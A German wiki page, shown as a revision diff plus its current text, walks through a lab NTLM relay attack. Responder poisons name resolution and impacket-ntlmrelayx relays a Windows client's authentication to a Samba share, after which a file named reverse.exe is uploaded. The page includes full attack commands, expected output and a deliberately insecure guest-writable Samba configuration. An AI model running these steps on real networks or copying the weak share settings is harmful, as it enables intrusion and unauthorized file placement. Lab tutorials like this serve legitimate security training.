NTLM-Relay auf Samba-Freigabe mit Impacket: Unterschied zwischen den Versionen
| Zeile 1: | Zeile 1: | ||
| − | = | + | = NTLM-Relay auf Samba-Freigabe mit Impacket (Laborszenario) = |
== Ziel == | == Ziel == | ||
| − | Ein Windows- | + | Ein Windows-Client im gleichen Netz wird über LLMNR/mDNS vergiftet. Seine NTLM-Authentifizierung wird durch den Angreifer per '''ntlmrelayx''' an einen Samba-Server weitergeleitet. Dort wird dem relayed Benutzer Gastzugriff gewährt, sodass: |
| + | * SMB-Zugriff auf die Samba-Freigabe möglich ist | ||
| + | * Eine Datei in die Freigabe hochgeladen werden kann | ||
| − | == | + | == Voraussetzungen == |
| + | * Angreifer: Kali Linux mit impacket & responder | ||
| + | * Opfer: Windows-Rechner im selben LAN (z. B. 10.0.10.102) | ||
| + | * Ziel: Linux mit Samba (z. B. 10.0.10.104) | ||
| + | * Der Samba-Server erlaubt Gastzugriff auf einen gemeinsamen Share | ||
| + | |||
| + | == 1. Samba-Ziel vorbereiten == | ||
| + | |||
| + | *Samba konfigurieren:* | ||
<pre> | <pre> | ||
[global] | [global] | ||
workgroup = WORKGROUP | workgroup = WORKGROUP | ||
server role = standalone server | server role = standalone server | ||
| − | |||
passdb backend = tdbsam | passdb backend = tdbsam | ||
| − | map to guest = | + | map to guest = Bad User |
| − | |||
| − | |||
guest account = nobody | guest account = nobody | ||
[share] | [share] | ||
| + | comment = Relayziel | ||
path = /mnt/media/share | path = /mnt/media/share | ||
read only = no | read only = no | ||
guest ok = yes | guest ok = yes | ||
| − | + | public = yes | |
browseable = yes | browseable = yes | ||
force user = nobody | force user = nobody | ||
| − | + | force group = nogroup | |
| − | |||
</pre> | </pre> | ||
| − | == | + | *Verzeichnis vorbereiten:* |
| + | mkdir -p /mnt/media/share | ||
| + | chown nobody:nogroup /mnt/media/share | ||
| + | chmod 777 /mnt/media/share | ||
| + | |||
| + | *Dienst neustarten:* | ||
| + | systemctl restart smbd | ||
| + | |||
| + | == 2. Responder starten (Poisoning-Komponente) == | ||
| + | |||
| + | responder -I eth0 | ||
| + | |||
| + | → Vergiftet LLMNR und mDNS-Anfragen im Netz (z. B. wenn User `\\irgendwas` aufruft) | ||
| + | |||
| + | == 3. ntlmrelayx vorbereiten == | ||
| + | |||
| + | *Mit interaktiver SMB-Shell starten:* | ||
| + | impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server | ||
| + | |||
| + | → Wartet auf NTLM-Anfragen und öffnet SMB-Zugriff zur Samba-Freigabe nach erfolgreichem Relay | ||
| + | |||
| + | == 4. Angriff auslösen == | ||
| + | |||
| + | *Auf dem Windows-Opfer:* | ||
| + | Ausführen oder öffnen eines nicht existenten UNC-Pfades (z. B. via Explorer): | ||
| + | |||
| + | \\irgendwas | ||
| + | |||
| + | → Windows versucht Namensauflösung → wird vergiftet → NTLM wird an den Angreifer geschickt → ntlmrelayx leitet weiter | ||
| + | |||
| + | == 5. Ergebnis: Interaktive Shell auf Samba-Freigabe == | ||
| + | |||
| + | Nach erfolgreichem Relay erscheint: | ||
<pre> | <pre> | ||
| − | + | [*] Authenticating against smb://10.0.10.104 as DESKTOP-XXX\USERNAME SUCCEED | |
| − | + | [+] Opening SMB relay connection | |
| − | + | [!] Interactive shell opened | |
| − | + | smb> | |
</pre> | </pre> | ||
| − | + | *Dort kann man z. B. eine Datei hochladen:* | |
| + | upload /tmp/reverse.exe | ||
| − | == | + | == 6. Erfolg prüfen == |
| − | |||
| − | |||
| − | |||
| − | + | Auf dem Samba-Ziel liegt nun eine Datei im Freigabe-Verzeichnis: | |
| − | + | ls -l /mnt/media/share | |
| − | |||
| − | |||
| − | |||
| − | + | → Ziel erreicht: SMB-Zugriff über NTLM-Relay hergestellt, Datei erfolgreich übertragen | |
| − | |||
| − | |||
| − | |||
| − | |||
| − | == | + | == Zusammenfassung == |
| − | + | | Komponente | Aufgabe | | |
| − | + | |------------|---------| | |
| − | + | | responder | Vergiftung von Namensauflösung | | |
| − | + | | ntlmrelayx | Relaying von NTLM auf SMB-Ziel | | |
| − | + | | Samba | akzeptiert relayed Authentifizierung als Gast | | |
| − | + | | Ziel | Datei auf Samba-Freigabe schreiben | | |
| − | == | + | == Hinweise == |
| − | + | * Wird der relayed Benutzer nicht akzeptiert, hilft: | |
| − | + | ** map to guest = Always | |
| − | + | * Ohne Schreibrechte bringt der Zugriff wenig – Ziel so konfigurieren, dass write möglich ist | |
| − | + | * Nur für Labor geeignet – in Produktivnetzen schwer absicherbar (SMB Signing aktivieren!) | |
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | == | + | == Quellen == |
| − | * | + | * https://github.com/fortra/impacket |
| − | * | + | * https://wiki.samba.org/index.php/Setting_up_a_Samba_Share |
| − | |||
| − | |||
| − | |||
Version vom 18. Mai 2025, 14:23 Uhr
NTLM-Relay auf Samba-Freigabe mit Impacket (Laborszenario)
Ziel
Ein Windows-Client im gleichen Netz wird über LLMNR/mDNS vergiftet. Seine NTLM-Authentifizierung wird durch den Angreifer per ntlmrelayx an einen Samba-Server weitergeleitet. Dort wird dem relayed Benutzer Gastzugriff gewährt, sodass:
- SMB-Zugriff auf die Samba-Freigabe möglich ist
- Eine Datei in die Freigabe hochgeladen werden kann
Voraussetzungen
- Angreifer: Kali Linux mit impacket & responder
- Opfer: Windows-Rechner im selben LAN (z. B. 10.0.10.102)
- Ziel: Linux mit Samba (z. B. 10.0.10.104)
- Der Samba-Server erlaubt Gastzugriff auf einen gemeinsamen Share
1. Samba-Ziel vorbereiten
- Samba konfigurieren:*
[global] workgroup = WORKGROUP server role = standalone server passdb backend = tdbsam map to guest = Bad User guest account = nobody [share] comment = Relayziel path = /mnt/media/share read only = no guest ok = yes public = yes browseable = yes force user = nobody force group = nogroup
- Verzeichnis vorbereiten:*
mkdir -p /mnt/media/share chown nobody:nogroup /mnt/media/share chmod 777 /mnt/media/share
- Dienst neustarten:*
systemctl restart smbd
2. Responder starten (Poisoning-Komponente)
responder -I eth0
→ Vergiftet LLMNR und mDNS-Anfragen im Netz (z. B. wenn User `\\irgendwas` aufruft)
3. ntlmrelayx vorbereiten
- Mit interaktiver SMB-Shell starten:*
impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server
→ Wartet auf NTLM-Anfragen und öffnet SMB-Zugriff zur Samba-Freigabe nach erfolgreichem Relay
4. Angriff auslösen
- Auf dem Windows-Opfer:*
Ausführen oder öffnen eines nicht existenten UNC-Pfades (z. B. via Explorer):
\\irgendwas
→ Windows versucht Namensauflösung → wird vergiftet → NTLM wird an den Angreifer geschickt → ntlmrelayx leitet weiter
5. Ergebnis: Interaktive Shell auf Samba-Freigabe
Nach erfolgreichem Relay erscheint:
[*] Authenticating against smb://10.0.10.104 as DESKTOP-XXX\USERNAME SUCCEED [+] Opening SMB relay connection [!] Interactive shell opened smb>
- Dort kann man z. B. eine Datei hochladen:*
upload /tmp/reverse.exe
6. Erfolg prüfen
Auf dem Samba-Ziel liegt nun eine Datei im Freigabe-Verzeichnis:
ls -l /mnt/media/share
→ Ziel erreicht: SMB-Zugriff über NTLM-Relay hergestellt, Datei erfolgreich übertragen
Zusammenfassung
| Komponente | Aufgabe | |------------|---------| | responder | Vergiftung von Namensauflösung | | ntlmrelayx | Relaying von NTLM auf SMB-Ziel | | Samba | akzeptiert relayed Authentifizierung als Gast | | Ziel | Datei auf Samba-Freigabe schreiben |
Hinweise
- Wird der relayed Benutzer nicht akzeptiert, hilft:
- map to guest = Always
- Ohne Schreibrechte bringt der Zugriff wenig – Ziel so konfigurieren, dass write möglich ist
- Nur für Labor geeignet – in Produktivnetzen schwer absicherbar (SMB Signing aktivieren!)